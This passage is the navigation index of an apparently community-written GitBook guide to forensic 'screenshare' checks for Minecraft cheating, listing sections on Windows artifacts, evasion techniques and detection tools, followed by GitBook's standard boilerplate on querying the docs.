Subsystem)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/2-csrssexe.md) - \[PlugPlay Service (Sometimes shown under DCOMLaunch)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/3-plugplay-service.md) - \[svchost.exe (-s dps) (Diagnostic Policy Service)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/4-svchostexe.md) - \[PcaSvc (Program Compatibility Assistant Service)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/5-pcasvc.md) - \[Other Relevant Processes\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/6-other-relevant-processes.md) - \[Windows Prefetch Analysis (WinPrefetchView / PECmd)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis.md) - \[Understanding Prefetch\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/understanding-prefetch.md) - \[Information Stored in Prefetch Files\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/information-stored-in-prefetch-files.md) - \[Analysis Tools\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/analysis-tools.md) - \[Troubleshooting and Evasion Detection\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/troubleshooting-and-evasion-detection.md) - \[LastActivityView: Artifact Aggregation\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation.md) - \[Data Sources\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/data-sources.md) - \[Functionality in ScreenSharing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/functionality-in-screensharing.md) - \[Limitations and Considerations\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/limitations-and-considerations.md) - \[Search Everything: Rapid File System Search\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search.md) - \[Core Features\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search/core-features.md) - \[Usage in ScreenSharing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search/usage-in-screensharing.md) - \[Journal Analysis (JournalTrace / Echo Easy Journal Viewer)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis.md) - \[The USN Journal ( $UsnJrnl )\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/the-usn-journal.md) - \[GUI Parsing Tools\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/gui-parsing-tools.md) - \[Application in ScreenSharing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/application-in-screensharing.md) - \[Limitations\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/journal-analysis/limitations.md) - \[Regedit / Registry Explorer (Registry Viewers - Basic Usage)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer.md) - \[Understanding the Windows Registry\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/understanding-the-windows-registry.md) - \[Accessing the Registry\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/accessing-the-registry.md) - \[Forensically Relevant Registry Keys/Locations\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/forensically-relevant-registry-keyslocations.md) - \[Key Considerations for ScreenSharing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/key-considerations-for-screensharing.md) - \[Event Viewer (Basic Usage for Common IDs)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer.md) - \[Understanding Event Viewer\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/understanding-event-viewer.md) - \[Accessing Event Viewer\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/accessing-event-viewer.md) - \[Log Storage\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/log-storage.md) - \[Checking the EventLog Service\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/checking-the-eventlog-service.md) - \[Key Event Logs and IDs for ScreenSharing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/key-event-logs-and-ids-for-screensharing.md) - \[Key Considerations for ScreenSharing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/key-considerations-for-screensharing.md) - \[Recuva (Deleted File Recovery)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva.md) - \[Understanding Recuva\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/understanding-recuva.md) - \[Usage in ScreenSharing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/usage-in-screensharing.md) - \[Limitations\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/limitations.md) - \[More Artifact Analysis for ScreenSharing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing.md) - \[Advanced JumpLists/RecentDocs Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/advanced-jumplistsrecentdocs-analysis.md) - \[Amcache/Syscache/RecentFileCache Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/amcachesyscacherecentfilecache-analysis.md) - \[Activities Cache Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/activities-cache-analysis.md) - \[SRUM (System Resource Usage Monitor) Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/srum-analysis.md) - \[Volume Shadow Copies (VSS) Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/volume-shadow-copies-analysis.md) - \[$INDX ($i30 Index Attributes) Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/indx-analysis.md) - \[Process and Memory Dump Analysis (Kernel Live Dump, RAM Dump)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/process-and-memory-dump-analysis.md) - \[YARA Rules\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/yara-rules.md) - \[File Entropy Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/file-entropy-analysis.md) - \[Detect It Easy (DiE)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/detect-it-easy.md) - \[Velociraptor\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/velociraptor.md) - \[Magnet EDD (Encrypted Disk Detector)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/magnet-edd.md) - \[Common Bypass Techniques in ScreenSharing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing.md) - \[Introduction to Bypass Categories\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/introduction-to-bypass-categories.md) - \[Concealment and Obfuscation\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation.md) - \[Spoofed Extensions\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/1-spoofed-extensions.md) - \[Unicode Characters in File Names/Paths\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/2-unicode-characters-in-file-namespaths.md) - \[Alternate Data Streams (ADS)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/3-alternate-data-streams.md) - \[Code Obfuscation\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/4-code-obfuscation.md) - \[Steganography\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/steganography.md) - \[Artifact and System Manipulation\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation.md) - \[Timestamp Manipulation (Timestomping)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/timestamp-manipulation.md) - \[Hexadecimal File Modification (Hex Editing)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/hexadecimal-file-modification.md) - \[Attribute Manipulation (Read-Only)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/attribute-manipulation.md) - \[Service Thread Suspension\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/service-thread-suspension.md) - \[Command Prompt (CMD) Obfuscation\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/command-prompt-obfuscation.md) - \[Disabling System Features via Registry/Group Policy\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/disabling-system-features-via-registrygroup-policy.md) - \[Artifact Clearing Techniques\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques.md) - \[Prefetch Clearing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/prefetch-clearing.md) - \[Registry Clearing (BAM, RecentDocs, etc.)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/registry-clearing.md) - \[USN Journal Clearing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/usn-journal-clearing.md) - \[Event Log Clearing/Manipulation\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/event-log-clearingmanipulation.md) - \[Recycle Bin Clearing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/recycle-bin-clearing.md) - \[File Replacement (Replace Method)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/file-replacement.md) - \[Permission and Inheritance Modification\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification.md) - \[Using cacls (or similar) for Permission Changes\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification/using-cacls-for-permission-changes.md) - \[Disabling Registry/Folder Inheritance\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification/disabling-registryfolder-inheritance.md) - \[Disk Partition Manipulation for Evasion\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion.md) - \[Mechanism of Evasion\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion/mechanism-of-evasion.md) - \[Forensic Implications\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/disk-partition-manipulation-for-evasion/forensic-implications.md) - \[Task Scheduler Bypass Techniques\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques.md) - \[Mechanism of Evasion\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques/mechanism-of-evasion.md) - \[Detection\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/task-scheduler-bypass-techniques/detection.md) - \[Scripting Languages for Evasion\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion.md) - \[Mechanisms of Evasion\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion/mechanisms-of-evasion.md) - \[Forensic Implications\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion/forensic-implications.md) - \[Fileless Malware and Living-off-the-Land Binaries (LOLBins)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries.md) - \[Mechanisms of Evasion\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries/mechanisms-of-evasion.md) - \[Forensic Implications and Detection\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries/forensic-implications-and-detection.md) - \[COM Hijacking\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/com-hijacking.md) - \[Shellcode Injection\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/shellcode-injection.md) - \[Powershell Remoting\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/powershell-remoting.md) - \[Suspicious DLLs and DLL Injection Techniques\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/suspicious-dlls-and-dll-injection-techniques.md) - \[Process Hollowing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/process-hollowing.md) - \[Unsigned / Fake Digital Signatures\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fake-digital-signatures.md) - \[Environment and Hardware Bypasses\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses.md) - \[External USB Drives (FAT32 vs. NTFS):\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/external-usb-drives.md) - \[Virtual Machines (VMs):\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/virtual-machines.md) - \[Cloud Storage (OneDrive, Google Drive, etc.):\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/cloud-storage.md) - \[Ban Evasion and Alt Account Detection\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection.md) - \[Understanding Ban Evasion\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/understanding-ban-evasion.md) - \[Identifying Alternate Accounts During ScreenShare\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/identifying-alternate-accounts-during-screenshare.md) - \[Reviewing Ban Policies\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/reviewing-ban-policies.md) - \[Importance of Documentation and Evidence\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection/importance-of-documentation-and-evidence.md) - \[Minecraft Architecture and Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft.md) - \[Minecraft and Java\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java.md) - \[Minecraft Architecture (Java, JVM)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/minecraft-architecture.md) - \[Launchers (Official, Custom: Lunar, Badlion, etc.)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/launchers.md) - \[.minecraft Folder (Location, Structure)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/minecraft-folder.md) - \[Categorizing Minecraft Cheats (Context for Analysis)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/categorizing-minecraft-cheats-context-for-analysis.md) - \[Specific Analysis for Minecraft\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft.md) - \[Forge Mod Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft/forge-mod-analysis.md) - \[Javaedit - Detection via Hash/Content\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft/javaedit-detection-via-hashcontent.md) - \[Mouse, Macro, and Input Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing.md) - \[Understanding Mouse Input Manipulation\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/1-understanding-mouse-input-manipulation.md) - \[Macro Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis.md) - \[Definition and Purpose in Cheating\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/definition-and-purpose-in-cheating.md) - \[Detecting Software-Based Macros\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/detecting-software-based-macros.md) - \[Detecting On-Board Macros\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/detecting-on-board-macros.md) - \[Debounce Time Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis.md) - \[Definition and Mouse Abuse\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/definition-and-mouse-abuse.md) - \[Server Rules Context\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/server-rules-context.md) - \[General Detection Strategy\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/general-detection-strategy.md) - \[Detection by Mouse Brand\](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/detection-by-mouse-brand.md) - \[Program Execution\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution.md) - \[Prefetch\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch.md) - \[BAM & DAM\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam.md) - \[UserAssist\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist.md) - \[Amcache / Syscache\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache.md) - \[RecentFileCache\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache.md) - \[Activities Cache\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache.md) - \[System Resource Usage Monitor (SRUM)\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum.md) - \[File System Activity\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity.md) - \[Master File Table\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/master-file-table.md) - \[USN Journal ($UsnJrnl)\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usn-journal-usdusnjrnl.md) - \[$LogFile\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usdlogfile.md) - \[Recycle Bin ($Recycle.bin)\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin.md) - \[Volume Shadow Copies (VSS)\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/volume-shadow-copies-vss.md) - \[Index Attributes ($INDX / $i30)\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/index-attributes-usdindx-usdi30.md) - \[Alternate Data Streams (ADS)\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/alternate-data-streams-ads.md) - \[User Activity and Knowledge\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge.md) - \[Shellbags\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags.md) - \[PowerShell Command History\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history.md) - \[Temporary Files (%temp%)\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/temporary-files-temp.md) - \[System Configuration and Persistence\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence.md) - \[Registry\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/registry.md) - \[Task Scheduler Artifact\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact.md) - \[usb-drive\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive.md) - \[Windows Event Logs\](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs.md) - \[RedLotus Tools\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools.md) - \[RedLotus Tool Downloader\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-tool-downloader.md) - \[RedLotus Task Sentinel\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-task-sentinel.md) - \[RedLotus Mod Analyzer\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-mod-analyzer.md) - \[RedLotus Alt Checker\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-alt-checker.md) - \[Spok's Tools\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools.md) - \[Paths Parser\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/paths-parser.md) - \[BAM parser\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/bam-parser.md) - \[Prefetch Parser\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/prefetch-parser.md) - \[Kernel Live Dump Analyzer\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/kernel-live-dump-analyzer.md) - \[Replaceparser\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/replaceparser.md) - \[JournalTrace\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/journaltrace.md) - \[pcasvc executed\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/pcasvc-executed.md) - \[ActivitiesCache execution\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/activitiescache-execution.md) - \[process-parser\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/process-parser.md) - \[Spokwn Powershell Scripts\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/spokwn-powershell-scripts.md) - \[Streams Script\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/streams-script.md) - \[ActivitiesCache Script\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/activitiescache-script.md) - \[Rancio's Tools\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/rancios-tools.md) - \[Tools\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/rancios-tools/tools.md) - \[Echo's Tools\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/echos-tools.md) - \[Tools\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/echos-tools/tools-mentioned.md) - \[Specific PowerShell Scripts\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts.md) - \[Main RedLotus Scripts\](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts/key-categories-and-examples.md) - \[coming soon\](https://itzicehere.gitbook.io/redlotusguide/automatic-screenshare-tools/coming-soon.md) --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on a page URL with the \`ask\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses.md?ask= \`\`\` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # csrss.exe (Client Server Runtime Subsystem) | RedLotus Guide For the complete 